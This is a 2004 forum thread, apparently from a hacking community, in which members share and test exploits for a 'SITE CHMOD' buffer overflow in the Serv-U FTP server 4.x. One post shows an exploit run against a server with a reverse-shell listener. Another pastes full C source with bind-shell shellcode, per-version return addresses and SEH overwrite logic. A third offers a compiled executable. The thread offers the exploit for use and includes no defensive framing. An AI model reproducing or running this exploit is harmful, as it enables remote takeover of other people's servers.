Forums: Serv-u Ftpd 4.x Reverse Bindshell Exploit - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Serv-u Ftpd 4.x Reverse Bindshell Exploit new one - more options ...

#1 User is offline   Gurou 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 191
  • Joined: 11-October 03

Posted 28 January 2004 - 01:56 AM

Serv-U FTPD 4.x "SITE CHMOD" overflow Reverse bindshell exploit

software: Serv-U 4.1.0.0 (and others)
notes: work on any NT, reverse bindshell, terminates the process
properly handle directories
author: mandragore

http://www.k-otik.co...27.servu4.c.php

-
0

#2 User is offline   Neo2k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 33
  • Joined: 30-November 03

Posted 28 January 2004 - 04:30 AM

welcome to the rehack age .....
0

#3 User is offline   studnikov 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 151
  • Joined: 13-August 03

Posted 28 January 2004 - 04:44 AM

ill check this one out, the others just seem to kill the serv-u all together. Hope this one shells a little better.
0

#4 User is offline   Reclone 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 40
  • Joined: 27-January 04

Posted 28 January 2004 - 05:44 AM

Just tested this one. Luckily it just kills servu :)
0

#5 User is offline   Krogoth 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 101
  • Joined: 23-December 03

Posted 28 January 2004 - 06:24 AM

yes, seen that on k-otik. gonna check this out.
0

#6 User is offline   studnikov 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 151
  • Joined: 13-August 03

Posted 28 January 2004 - 01:01 PM

Checked on one of my own servers running Ser-v 4.1 Pro:

C:\cygwin\home\>a -d ***.56.***.65 -p 22 -u **** -s ***** -w c:\ -H ***.
13.***.105 -P 8888
[%] Serv-u v4.1.0.0 exploit [%]
/sbin/ifconfig: not found
grep: not found
gawk: not found
[.] if working you'll have a shell on ***.13.***.105:8888.
[.] launching attack on ftp://****:*****@***.56.***.65:22c:\
[.] setting up listener on port 8888..
[+] logged in.
[+] sending exploit..
550 /c:/????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????
????????????????????????????????????3A♦hAIh?6-FPh<4$1O↓?--(n-_☼--_☼A
i-☺ OO~?---Axoyx-Ai?iF♣_N>Z_"-'.↔R+: No such file or directory
.
C:\cygwin\home\>
0

#7 Guest_Black Flag_*

  • Group: Guests

Posted 29 January 2004 - 05:16 PM

you need a writable directory...
0

#8 User is offline   phaeton 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 27-January 04

Posted 29 January 2004 - 05:18 PM

did anyone actually get any of these to work? all the ones i have just crash servu
0

#9 User is offline   Gurou 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 191
  • Joined: 11-October 03

Posted 30 January 2004 - 01:32 AM

and this is the exe file servu4.exe
0

#10 User is offline   D-Devil 

  • Private
  • Icon
  • Group: Members
  • Posts: 14
  • Joined: 10-January 04

Posted 30 January 2004 - 05:13 AM

phaeton, on Jan 30 2004, 01:18 AM, said:

did anyone actually get any of these to work? all the ones i have just crash servu

yeah , same here :(
0

#11 Guest_LaMersSs_*

  • Group: Guests

Posted 30 January 2004 - 07:29 AM

The second one released just works fine.
0

#12 User is offline   JaX 

  • Private
  • Icon
  • Group: Members
  • Posts: 10
  • Joined: 11-January 04

Posted 30 January 2004 - 10:38 AM

;) mucho thx Gurou will try it and give feedback ;)
0

#13 User is offline   Action 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 59
  • Joined: 23-August 03

Posted 30 January 2004 - 12:27 PM

just crashes serv-u
0

#14 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 30 January 2004 - 12:28 PM

jo it crash...
0

#15 User is offline   seppel18 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 95
  • Joined: 07-October 03

Posted 30 January 2004 - 01:13 PM

And another one...

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define exploit_length      511
#define NOP 'A'

#define SEH_handler_offset  400
char* SEH_handler     = "\x41\x41\xEB\x04"; // 3) jmp over next four bytes
char* retaddress_4004 = "\xab\x1c\x5f\x01"; // 1) libeay32.015f1cab
char* retaddress_4100 = "\xcb\x1c\x41\x01"; // 1) ssleay32.01411ccb
char* retaddress_4103 = "\x8b\x1d\x41\x01"; // 1) ssleay32.01411d8b

char* shellcode = 
  "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x6a"
  "\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x24\xff\xff\xff\x31\xdb"
  "\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x50\x50\x50\x53\x53\x31\xc0"
  "\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53\x53\x53\x53\x6a\x44"
  "\x89\xe6\x50\x55\x53\x53\x53\x53\x54\x56\x53\x53\x53\x43\x53\x4b"
  "\x53\x53\x51\x53\x89\xfd\xbb\x21\xd0\x05\xd0\xe8\xe2\xfe\xff\xff"
  "\x31\xc0\x48\x8b\x44\x24\x04\xbb\x43\xcb\x8d\x5f\xe8\xd1\xfe\xff"
  "\xff\x5d\x5d\x5d\xbb\x12\x6b\x6d\xd0\xe8\xc4\xfe\xff\xff\x31\xc0"
  "\x50\x89\xfd\xbb\x69\x1d\x42\x3a\xe8\xb5\xfe\xff\xff";

int sock;
FILE* FILEsock;
int doubling;

void send_command(char *command, char *arguments) {
  int i;
  send(sock, command, strlen(command), 0);
  send(sock, " ", 1, 0);
  for (i=0; i<strlen(arguments); i++) {
    send(sock, arguments+i, 1, 0);
    if (doubling && arguments[i] == '\xff') send(sock, arguments+i, 1, 0);
  }
  send(sock, "\x0a\x0d", 2, 0);
}

int main(int argc, char *argv[], char *envp[]) {
  struct sockaddr_in addr;
  char *outbuffer, inbuffer[256];
  char *retaddress = NULL;
  char *version = NULL;

  if (argc<5) {
    printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]\n", argv[0]);
    exit(-1);
  }

  printf("- Serv-ME ----------------------------------------------------\n"
         "  Serv-U v4.x \"site chmod\" exploit.\n"
         "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n"
         "  Credits for the vulnerability go to ICBM <icbm@0x557.net>.\n"
         "  Thanks to H D Moore for the shellcode (www.metasploit.com).\n"
         "  Greets to everyone at 0dd and #netric.\n"
         "  (K)(L)(F) for Suzan.\n"
         "\n"
         "  Binds a shell at %s:28876 if successfull.\n"
         "  Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.\n"
         "--------------------------------------------------------------\n",
           argv[1]);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(atoi(argv[2]));
  addr.sin_addr.s_addr = inet_addr(argv[1]);

  printf("\n[+] Connecting to %s:%s...\n", argv[1], argv[2]);
  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("Socket creation failed");
    exit(-1);
  }
  if (connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1) {
    perror("Connection failed");
    exit(-1);
  }
  FILEsock = fdopen(sock, "r");
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  if (strstr(inbuffer, "220 Serv-U FTP Server v4.") != inbuffer) {
    printf("[-] This is not a Serv-U v4.X ftp server.\n");
    exit(-1);
  }
  if (strstr(inbuffer, "v4.1") > 0) {
    retaddress = retaddress_4103;
    version = "4.1.0.3";
  }

  printf("\n[+] Login in as %s:%s...\n", argv[3], argv[4]);
  send_command("USER", argv[3]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  send_command("PASS", argv[4]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  if (strstr(inbuffer, "230") != inbuffer) {
    printf("[-] Login failed.\n");
    exit(-1);
  }

  if (argv[5]) {
    printf("\n[+] Changing directory...\n");
    send_command("CD", argv[5]);
    printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  }

  outbuffer = (char*) malloc(exploit_length + strlen(shellcode));
  memset(outbuffer, NOP, exploit_length);
  memcpy(outbuffer+exploit_length, shellcode, strlen(shellcode));

  printf("\n[+] Checking if \\xff doubling is nescesary: ");
  send_command("SITE CHMOD 477", "-\xff\xff-");
  fgets(inbuffer, sizeof inbuffer, FILEsock);
  if (strchr(inbuffer, '\xff') == strrchr(inbuffer, '\xff')) {
    doubling = 1;
    printf("Yes.");
    retaddress = retaddress_4004;
    version = "4.0.0.4";
  } else {
    printf("No.");
    if (retaddress==NULL) {
      retaddress = retaddress_4100;
      version = "4.1.0.0";
    }
  }
  printf("\n[+] Serv-U FTP server version %s: using retaddress 0x%08x",
                      version, *(int*)retaddress);
  memcpy(outbuffer + SEH_handler_offset, SEH_handler, strlen(SEH_handler));
  memcpy(outbuffer + SEH_handler_offset + 4, retaddress, strlen(retaddress));

  printf("\n[+] Sending exploit... ");
  send_command("SITE CHMOD 477", outbuffer);
  printf("send, you can now try to connect to %s:28876.\n", argv[1]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  close(socket);
  printf("\n[+] Done. \n");
}


compiles under cygwin...but only crashes servu
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting